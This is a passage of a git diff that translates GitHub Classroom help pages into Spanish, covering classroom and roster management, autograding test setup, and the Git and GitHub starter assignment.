+Cada aula tiene un registro de alumnos. Un registro de alumnos es una lista de identificadores para los alumnos que participan en tu curso.
 
-When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.
+Cuando compartes la URL de una tarea con un alumno por primera vez, dicho alumno debe ingresar en {% data variables.product.product_name %} con una cuenta de usuario para vincularla con un identificador para el aula. Después de que el alumno vinculasu cuenta de usuario, puedes ver la cuenta de usuario asociada en el registro dealumnos. También puedes ver cuando el alumno acepta o emite una tarea.
 
-![Classroom roster](/assets/images/help/classroom/roster-hero.png)
+![Registro de alumnos de un aula](/assets/images/help/classroom/roster-hero.png)
 
-## Prerequisites
+## Prerrequisitos
 
-You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Debes tener una cuenta de organización en {% data variables.product.product_name %} para administrar las aulas en {% data variables.product.prodname_classroom %}. Para obtener más información, consulta las secciones "[Tipos de cuentas de {% data variables.product.company_short %}](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" y "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+Debes autorizar a la app de OAuth de {% data variables.product.prodname_classroom %} para que tu organización administre aulas para tu cuenta organizacional. Para obtener más información, consulta la sección "[Autorizar las Apps de OAuth](/github/authenticating-to-github/authorizing-oauth-apps)".
 
-## Creating a classroom
+## Crear un aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. Click **New classroom**.
-  !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png)
+1. Da clic en **Aula nueva**. ![Botón de "Aula nueva"](/assets/images/help/classroom/click-new-classroom-button.png)
 {% data reusables.classroom.guide-create-new-classroom %}
 
-After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+Después de que crees un aula, puedes comenzar a crear tareas para los alumnos. Para obtener más información, consulta las secciones "[Utilizar la tarea de inicio de Git y {% data variables.product.company_short %}](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)", "[Crear una tarea individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" o "[Crear una tarea grupal](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-## Creating a roster for your classroom
+## Crear un registro de alumnos para tu aula
 
-You can create a roster of the students who participate in your course.
+Puedes crear un registro de alumnos de aquellos que participen en tu curso.
 
-If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)."
+Si tu curso ya tiene un registro de alumnos, puedes actualizar a los alumnos en el registro o borrarlos de éste. Para obtener más información, consulta la sección "[Agregar a un alumno al registro de alumnos de tu aula](#adding-students-to-the-roster-for-your-classroom)" o "[Borrar un registro de alumnos de un aula](#deleting-a-roster-for-a-classroom)".
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
-1. Provide the student identifiers for your roster.
-     - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**.
-     - To create a roster manually, type your student identifiers.
-       ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
-1. Click **Create roster**.
-  !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png)
+1. Para conectar a {% data variables.product.prodname_classroom %} a tu LMS e importar un registro de alumnos, da clic en {% octicon "mortar-board" aria-label="The mortar board icon" %} **importar desde un sistema de administración de aprendizaje** y sigue las instrucciones. Para obtener más información, consulta la sección "[Conectar un sistema de administración de aprendizaje a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)". ![Botón de "Importar desde un sistema de administración de aprendizaje"](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png)
+1. Proporciona los identificadores de estudiante para tu registro de alumnos.
+     - Para importar un registro de alumnos cargando un archivo que contenga los identificadores de estudiante, haz clic en **Cargar un archivo de texto o CSV**.
+     - Para crear un registro de alumnos manualmente, teclea tus identificadores de alumno. ![Campo de texto para teclear los identificadores de alumno y botón de "Cargar un CSV o archivo de texto"](/assets/images/help/classroom/type-or-upload-student-identifiers.png)
+1. Da clic en **Crear registro de alumnos**. ![Botón de "Crear registro de alumnos"](/assets/images/help/classroom/click-create-roster-button.png)
 
-## Adding students to the roster for your classroom
+## Agregar a los alumnos al registro de alumnos de tu aula
 
-Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)."
+Tu aula debe tener un registro de alumnos existente para agregar alumnos a éste. Para obtener más información sobre crear un registro de alumnos, consulta la sección "[Crear un registro de alumnos para tu aula](#creating-a-roster-for-your-classroom)".
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. To the right of "Classroom roster", click **Update students**.
-  !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png)
-1. Follow the instructions to add students to the roster.
-    - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."
-    - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.
-      ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
+1. A la derecha de "Registro de alumnos del aula", da clic en **Actualizar alumnos**. ![Botón de "Actualizar alumnos" a la derecha del encabezado "Registro de alumnos" sobre la lista de alumnos](/assets/images/help/classroom/click-update-students-button.png)
+1. Sigue las instrucciones para agregar a los alumnos al registro de alumnos.
+    - Para importar a los alumnos desde un LMS, da clic en **Sincronizar desde un sistema de administración de aprendizaje**. Para obtener más información sobre cómo importar un registro dealumnos desde un LMS, consulta la sección "[Conectar un sistema de administración de aprendizaje a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)".
+    - Para agregar manualmente a los alumnos, debajo de "Agregar manualmente a los alumnos", da clic en **Cargar un CSV o archivo de texto** o teclea los identificadores de los alumnos y luego da clic en **Agregar entradas al registro de alumnos**. ![Modo para elegir un método para agregar alumnos al aula](/assets/images/help/classroom/classroom-add-students-to-your-roster.png)
 
-## Renaming a classroom
+## Renombrar un aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. Under "Classroom name", type a new name for the classroom.
-  ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png)
-1. Click **Rename classroom**.
-  !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
+1. Debajo de "nombre del aula", teclea un nombre nuevo para ésta. ![Campo de texto debajo de "Nombre de aula" para teclear el nombre de un aula](/assets/images/help/classroom/settings-type-classroom-name.png)
+1. Da clic en **Renombrar aula**. ![Botón "Renombrar aula"](/assets/images/help/classroom/settings-click-rename-classroom-button.png)
 
-## Archiving or unarchiving a classroom
+## Archivar o dejar de archivar un aula
 
-You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms.
+Puedes archuivar un aula que ya no utilices en {% data variables.product.prodname_classroom %}. Cuando archivas un aula, no puedes crear tareas nuevas ni editar aquellas existentes en ella. Los alumnos no pueden aceptar invitaciones a las tareas de las aulas archivadas.
 
 {% data reusables.classroom.sign-into-github-classroom %}
-1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.
-  ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
-1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.
-  ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
+1. A la derecha del nombre del aula, selecciona el menú desplegable {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y da clic en **Archivar**. ![Menú desplegable del icono de kebab horizontal y elemento "Archive" del menú](/assets/images/help/classroom/use-drop-down-then-click-archive.png)
+1. Para dejar de archivar un aula, a la derecha de su nombre, selecciona el menú desplegable {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y da clic en **Dejar de archivar**. ![Menú desplegable desde el icono de kebab horizontal y elemento "Dejar de archivar" del menú](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png)
 
-## Deleting a roster for a classroom
+## Borrar el registro de alumnos de un aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. Under "Delete this roster", click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png)
-1. Read the warnings, then click **Delete roster**.
-  !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
+1. Debajo de "Borrar este registro de alumnos", da clic en **Borrar registro de alumnos**. ![Botón "Borrar registro de alumnos" debajo de "Borrar este registro de alumnos" en la pestaña "Alumnos" de un aula](/assets/images/help/classroom/students-click-delete-roster-button.png)
+1. Lee las advertencias y luego da clic en **Borrar registro de alumnos**. ![Botón "Borrar registro de alumnos" debajo de "Borrar este registro de alumnos" en la pestaña "Alumnos" de un aula](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png)
 
-## Deleting a classroom
+## Borrar un aula
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-settings %}
-1. To the right of "Delete this classroom", click **Delete classroom**.
-  !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png)
-1. **Read the warnings**.
-1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.
-  ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
-1. Click **Delete classroom**.
-  !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
+1. A la derecha de "Borrar esta aula", da clic en **Borrar aula**. ![Botón de "Borrar un repositorio"](/assets/images/help/classroom/click-delete-classroom-button.png)
+1. **Lee las advertencias**.
+1. Para verificar que estás borrando el aula correcta, teclea el nombre del aula que quieres borrar. ![Modo para borrar un aula con advertencias y campo de texto para el nombre del aula](/assets/images/help/classroom/delete-classroom-modal-with-warning.png)
+1. Da clic en **Borrar aula**. ![Botón de "Borrar aula"](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png)
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
index 31eee9a49a..c8a559beab 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md
@@ -1,101 +1,92 @@
 ---
-title: Use autograding
-intro: You can automatically provide feedback on code submissions from your students by configuring tests to run in the assignment repository.
+title: Utiliza las calificaciones automáticas
+intro: Puedes proporcionar retroalimentación automáticamente en las emisiones de código de tus alumnos si configuras las pruebas para que se ejecuten en el repositorio de tareas.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can set up and use autograding on assignments in a classroom. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/adding-tests-for-auto-grading
   - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-teachers
   - /education/manage-coursework-with-github-classroom/use-autograding
 ---
-## About autograding
+
+## Acerca de las calificaciones automáticas
 
 {% data reusables.classroom.about-autograding %}
 
-After a student accepts an assignment, on every push to the assignment repository, {% data variables.product.prodname_actions %} runs the commands for your autograding test in a Linux environment containing the student's newest code. {% data variables.product.prodname_classroom %} creates the necessary workflows for {% data variables.product.prodname_actions %}. You don't need experience with {% data variables.product.prodname_actions %} to use autograding.
+Después de que un alumno acepte una tarea, en cada subida al repositorio de la misma, {% data variables.product.prodname_actions %} ejecuta comandos para tu prueba de calificaciones automáticas en un ambiente Linux que contiene el código más nuevo del alumno. {% data variables.product.prodname_classroom %} crea los flujos de trabajo necesarios para {% data variables.product.prodname_actions %}. No necesitas tener experiencia con las {% data variables.product.prodname_actions %} para utilizar las calificaciones automáticas.
 
-You can use a testing framework, run a custom command, write input/output tests, or combine different testing methods. The Linux environment for autograding contains many popular software tools. For more information, see the details for the latest version of Ubuntu in "[Specifications for  {% data variables.product.company_short %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners#supported-software)."
+Puedes utiizar un marco de trabajo de prueba, ejecutar un comando personalizado, escribir pruebas de entrada/salida, o combinar varios métodos de pruebas. El ambiente de Linux para las calificaciones automáticas contienen muchas herramientas de software populares. Para obtener más información, consulta los detalles de la última versión de Ubuntu en "[Especificaciones para los ejecutores hospedados en {% data variables.product.company_short %}](/actions/reference/specifications-for-github-hosted-runners#supported-software)".
 
-You can see an overview of which students are passing autograding tests by navigating to the assignment in {% data variables.product.prodname_classroom %}. A green checkmark means that all tests are passing for the student, and a red X means that some or all tests are failing for the student. If you award points for one or more tests, then a bubble shows the score for the tests out of the maximum possible score for the assignment.
+Puedes ver un resumen de qué estudiantes están pasando las pruebas con calificación automática si navegas a la tarea en {% data variables.product.prodname_classroom %}. Una marca verde significa que el alumno está pasando todas las pruebas, la X roja significa que el alumno falló en algunas o todas las pruebas. Si otorgas puntos para una o más pruebas, entonces una burbuja mostrará la puntuación de éstas con base en la puntuación máxima posible para la tarea.
 
-![Overview for an assignment with autograding results](/assets/images/help/classroom/autograding-hero.png)
+![Resumen de una tarea con resultados de calificación automática](/assets/images/help/classroom/assignment-individual-hero.png)
 
-## Grading methods
+## Métodos para calificar
 
-There are two grading methods: input/output tests and run command tests.
+Hay dos métodos para calificar: pruebas de entrada/salida y pruebas de ejecución de comandos.
 
-### Input/output test
+### Prueba de entrada/salida
 
-An input/output test optionally runs a setup command, then provides standard input to a test command. {% data variables.product.prodname_classroom %} evaluates the test command's output against an expected result.
+Una prueba de entrada/salida ejecuta un comando de configuración opcionalmente y proporciona una entrada estándar de un comando de prueba. {% data variables.product.prodname_classroom %} evalúa la salida del comando de prueba contra un resultado esperado.
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate standard output for evaluation |
-| **Inputs** | Standard input for run command |
-| **Expected output** | The output that you want to see as standard output from the run command |
-| **Comparison** | The type of comparison between the run command's output and the expected output<br/><br/><ul><li>**Included**: Passes when the expected output appears<br/>anywhere in the standard output from the run command</li><li>**Exact**: Passes when the expected output is completely identical<br/>to the standard output from the run command</li><li>**Regex**: Passes if the regular expression in expected<br/>output matches against the standard output from the run command</li></ul> |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| Parámetro                    | Descripción                                                                                                                            |
+|:---------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------- |
+| **Nombre de la prueba**      | El nombre de la prueba para identificarla en las bitácoras                                                                             |
+| **Comando de configuración** | _Opcional_. Un comando a ejecutar antes de las pruebas, tal como una compilación o instalación                                         |
+| **Comando de ejecución**     | El comando para ejecutar la prueba y generar una salida estándar para su evaluación                                                    |
+| **Inputs**                   | Entrada estándar para el comando de ejecución                                                                                          |
+| **Salida esperada**          | La salida que quieres ver como estándar para el comando de ejecución                                                                   |
+| **Comparación**              | El tipo de comparación entre el la salida del comando de ejecución y la salida esperada<br/><br/><ul><li>**Included**: Pasa cuando la salida esperada aparece<br/>en cualquier parte dentro de la salida estándar del comando de ejecución</li><li>**Exact**: Pasa cuando la salida esperada es completamente idéntica<br/>a la salida estándar del comando de ejecución</li><li>**Regex**: Pasa si la expresión regular en la salida<br/>esperada coincide con la salida estándar del comando de ejecución</li></ul> |
+| **Tiempo excedido**          | En minutos, lo que tarda una prueba en ejecutarse antes de que resulte en un fallo                                                     |
+| **Puntos**                   | _Opcional_. La cantidad de puntos que vale la prueba contra una puntuación total                                                       |
 
-### Run command test
+### Prueba de comando de ejecución
 
-A run command test runs a setup command, then runs a test command. {% data variables.product.prodname_classroom %} checks the exit status of the test command. An exit code of `0` results in success, and any other exit code results in failure.
+Una prueba de comando de ejecución ejecuta un comando de configuración y luego un comando de prueba. {% data variables.product.prodname_classroom %} verifica el estado de salida del comando de prueba. Un código de salida de `0` resultará en éxito y cualquier otro código de salida resultara en un fallo.
 
-{% data variables.product.prodname_classroom %} provides presets for language-specific run command tests for a variety of programming languages. For example, the **Run node** test prefills the setup command with `npm install` and the test command with `npm test`.
+{% data variables.product.prodname_classroom %} proporciona preajustes para un las pruebas de comandos de ejecución específicas de lenguaje para varios lenguajes de programación. Por ejemplo, la prueba de **ejecutar nodo** llena previamente el comando de configuración con `npm install` y el comando de prueba con `npm test`.
 
-| Setting | Description |
-| :- | :- |
-| **Test name** | The name of the test, to identify the test in logs |
-| **Setup command** | _Optional_. A command to run before tests, such as compilation or installation |
-| **Run command** | The command to run the test and generate an exit code for evaluation |
-| **Timeout** | In minutes, how long a test should run before resulting in failure |
-| **Points** | _Optional_. The number of points the test is worth toward a total score |
+| Parámetro                    | Descripción                                                                                    |
+|:---------------------------- |:---------------------------------------------------------------------------------------------- |
+| **Nombre de la prueba**      | El nombre de la prueba para identificarla en las bitácoras                                     |
+| **Comando de configuración** | _Opcional_. Un comando a ejecutar antes de las pruebas, tal como una compilación o instalación |
+| **Comando de ejecución**     | El comando para ejecutar la prueba y generar un código de salida para evaluación               |
+| **Tiempo excedido**          | En minutos, lo que tarda una prueba en ejecutarse antes de que resulte en un fallo             |
+| **Puntos**                   | _Opcional_. La cantidad de puntos que vale la prueba contra una puntuación total               |
 
-## Configuring autograding tests for an assignment
+## Configurar las pruebas de calificación automática para una tarea
 
-You can add autograding tests during the creation of a new assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %}
+Puedes agregar pruebas de calificación automática durante la creación de una tarea nueva. {% data reusables.classroom.for-more-information-about-assignment-creation %}
 
-You can add, edit, or delete autograding tests for an existing assignment. If you change the autograding tests for an existing assignment, existing assignment repositories will not be affected. A student or team must accept the assignment and create a new assignment repository to use the new tests.
+Puedes agregar, editar o borrar las pruebas de calificación automática para una tarea existente. Si cambias las pruebas de calificación automática para una tarea existente, los repositorios de tareas existentes no se verán afectados. Un alumno o equipo debe aceptar la tarea y crear un repositorio de tareas nuevo para utilizar las pruebas nuevas.
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.assignments-click-pencil %}
-1. In the left sidebar, click **Grading and feedback**.
-  !["Grading and feedback" to the left of assignment's basics](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
-1. Add, edit, or delete an autograding test.
-    - To add a test, under "Add autograding tests", select the **Add test** drop-down menu, then click the grading method you want to use.
-       ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To edit a test, to the right of the test name, click {% octicon "pencil" aria-label="The pencil icon" %}.
-        ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png)
-       Configure the test, then click **Save test case**.
-       !["Save test case" button for an autograding test](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
-    - To delete a test, to the right of the test name, click {% octicon "trash" aria-label="The trash icon" %}.
-        ![Trash icon for deleting an autograding test](/assets/images/help/classroom/autograding-click-trash.png)
-1. At the bottom of the page, click **Update assignment**.
-  !["Update assignment" button at the bottom of the page](/assets/images/help/classroom/assignments-click-update-assignment.png)
+1. En la barra lateral, da clic en **Calificaciones y retroalimentación**. !["Calificaciones y retroalimentación" a la izquierda de los puntos básicos de la tarea](/assets/images/help/classroom/assignments-click-grading-and-feedback.png)
+1. Agrega, edita o borra una prueba de calificación automática.
+    - Para agregar una prueba, debajo de "Agregar pruebas de calificación automática", selecciona el menú desplegable **Agregar prueba** y luego da clic en el método de calificación que quieras utilizar. ![Using the "Add test" drop-down menu to click a grading method](/assets/images/help/classroom/autograding-click-grading-method.png) Configura la prueba y luego da clic en **Guardar caso de prueba**. ![Botón de "Guardar caso de prueba" para una prueba de calificación automática](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Para editar una prueba, a la derecha del nombre de ésta, da clic en {% octicon "pencil" aria-label="The pencil icon" %}. ![Pencil icon for editing an autograding test](/assets/images/help/classroom/autograding-click-pencil.png) Configura la prueba y luego da clic en **Guardar caso de prueba**. ![Botón de "Guardar caso de prueba" para una prueba de calificación automática](/assets/images/help/classroom/assignments-click-save-test-case-button.png)
+    - Para borrar una prueba, a la derecha del nombre de ésta, da clic en {% octicon "trash" aria-label="The trash icon" %}. ![Icono de cesta de basura para borrar una prueba de calificación automática](/assets/images/help/classroom/autograding-click-trash.png)
+1. En la parte inferior de la página, da clic en **Actualizar tarea**. ![Botón de "Actualizar tarea" en la parte inferior de la página](/assets/images/help/classroom/assignments-click-update-assignment.png)
 
-## Viewing and downloading results from autograding tests
+## Ver y descargar los resultados de las pruebas de autoevaluación
 
-### Download autograding results
+### Descargar los resultados de autoevaluación
 
-You can also download a CSV of your students' autograding scores via the "Download" button. This will generate and download a CSV containing a link to the student's repository, their {% data variables.product.prodname_dotcom %} handle, roster identifier, submission timestamp, and autograding score.
+También puedes descargar un CSV de las puntuaciones de autoevaluación de tus alumnos a través del botón "Descargar". Esto generará un CSV de descarga que contiene un enlace al repositorio del alumno, a su manejador de {% data variables.product.prodname_dotcom %}, identificador de lista, marca de tiempo de emisión y puntuación de autoevaluación.
 
-!["Download" button selected showing "Download grades highlighted" and an additional option to "Download repositories"](/assets/images/help/classroom/download-grades.png)
+![Botón de "Descargar" seleccionado mostrando "Descargar las calificaciones resaltadas" y una opción adicional para "Descargar repositorios"](/assets/images/help/classroom/download-grades.png)
 
-### View individual logs
+### Ver bitácoras individuales
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-assignment-in-list %}
-1. To the right of a submission, click **View test**.
-  !["View test" button for an assignment submission](/assets/images/help/classroom/assignments-click-view-test.png)
-1. Review the test output. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+1. A la derecha de una emisión, da clic en **Ver prueba**. ![Botón de "Ver tarea" para una emisión de una tarea](/assets/images/help/classroom/assignments-click-view-test.png)
+1. Revisa la salida de la prueba. Para obtener más información, consulta la sección "[Utilizar bitácoras de ejecución de flujos de trabajo](/actions/managing-workflow-runs/using-workflow-run-logs)".
 
-## Further reading
+## Leer más
 
-- [{% data variables.product.prodname_actions %} documentation](/actions)
+- [Documentación de {% data variables.product.prodname_actions %}](/actions)
diff --git a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
index 4d3f0a3309..2fa44a2b65 100644
--- a/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
+++ b/translations/es-ES/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md
@@ -1,104 +1,104 @@
 ---
-title: Use the Git and GitHub starter assignment
-intro: 'You can use the Git & {% data variables.product.company_short %} starter assignment to give students an overview of Git and {% data variables.product.company_short %} fundamentals.'
+title: Utiliza la tarea inicial de Git y GitHub
+intro: 'Puedes utilizar la tarea de inicio de Git & {% data variables.product.company_short %} para proporcionar a los alumnos un resumen de lo básic de Git y de {% data variables.product.company_short %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can use Git & {% data variables.product.company_short %} starter assignments. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment
-shortTitle: Starter assignment
+shortTitle: Tarea de inicio
 ---
 
-The Git & {% data variables.product.company_short %} starter assignment is a pre-made course that summarizes the basics of Git and {% data variables.product.company_short %} and links students to resources to learn more about specific topics.
+La tarea inicial de Git & {% data variables.product.company_short %} es un curso prehecho que resume los puntos básicos de Git y de {% data variables.product.company_short %} y enlaza a los alumnos con recursos para aprender más sobre temas específicos.
 
-## Prerequisites
+## Prerrequisitos
 
 {% data reusables.classroom.assignments-classroom-prerequisite %}
 
-## Creating the starter assignment
+## Crear la tarea inicial
 
-### If there are no existing assignments in the classroom
+### Si no hay tareas existentes en el aula
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click  **Use starter assignment**.
+1. Inicia sesión en {% data variables.product.prodname_classroom_with_url %}.
+2. Navegar a un aula.
+3. En la pestaña de {% octicon "repo" aria-label="The repo icon" %} **Tareas**, haz clic en **Utilizar tarea de inicio**.
 
 <div class="procedural-image-wrapper">
-  <img alt="Creating your first assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
+  <img alt="Crear tu primera tarea" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-create-first-assignment.png">
 </div>
 
-### If there already are existing assignments in the classroom
+### Si ya existen tareas en el aula
 
-1. Sign into {% data variables.product.prodname_classroom_with_url %}.
-2. Navigate to a classroom.
-3. In the {% octicon "repo" aria-label="The repo icon" %} **Assignments** tab, click the link on the blue banner.
+1. Inicia sesión en {% data variables.product.prodname_classroom_with_url %}.
+2. Navegar a un aula.
+3. En la pestaña de {% octicon "repo" aria-label="The repo icon" %}**Tareas**, haz clic en el enlace sobre el letrero azul.
 
 <div class="procedural-image-wrapper">
-  <img alt="The 'New assignment' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
+  <img alt="En el botón de 'Tarea nueva'" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-new-starter-assignment-button.png">
 </div>
 
-## Setting up the basics for an assignment
+## Configurar lo básico para una tarea
 
-Import the starter course into your organization, name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories.
+Importa el curso de inicio en tu organización, nombra tu tarea, decide si quieres asignar una fecha límite y elige la visibilidad de los repositorios de la tarea.
 
-- [Prerequisites](#prerequisites)
-- [Creating the starter assignment](#creating-the-starter-assignment)
-  - [If there are no existing assignments in the classroom](#if-there-are-no-existing-assignments-in-the-classroom)
-  - [If there already are existing assignments in the classroom](#if-there-already-are-existing-assignments-in-the-classroom)
-- [Setting up the basics for an assignment](#setting-up-the-basics-for-an-assignment)
-  - [Importing the assignment](#importing-the-assignment)
-  - [Naming the assignment](#naming-the-assignment)
-  - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment)
-  - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories)
-- [Inviting students to an assignment](#inviting-students-to-an-assignment)
-- [Next steps](#next-steps)
-- [Further reading](#further-reading)
+- [Prerrequisitos](#prerequisites)
+- [Crear la tarea inicial](#creating-the-starter-assignment)
+  - [Si no hay tareas existentes en el aula](#if-there-are-no-existing-assignments-in-the-classroom)
+  - [Si ya existen tareas en el aula](#if-there-already-are-existing-assignments-in-the-classroom)
+- [Configurar lo básico para una tarea](#setting-up-the-basics-for-an-assignment)
+  - [Importar la tarea](#importing-the-assignment)
+  - [Nombrar la tarea](#naming-the-assignment)
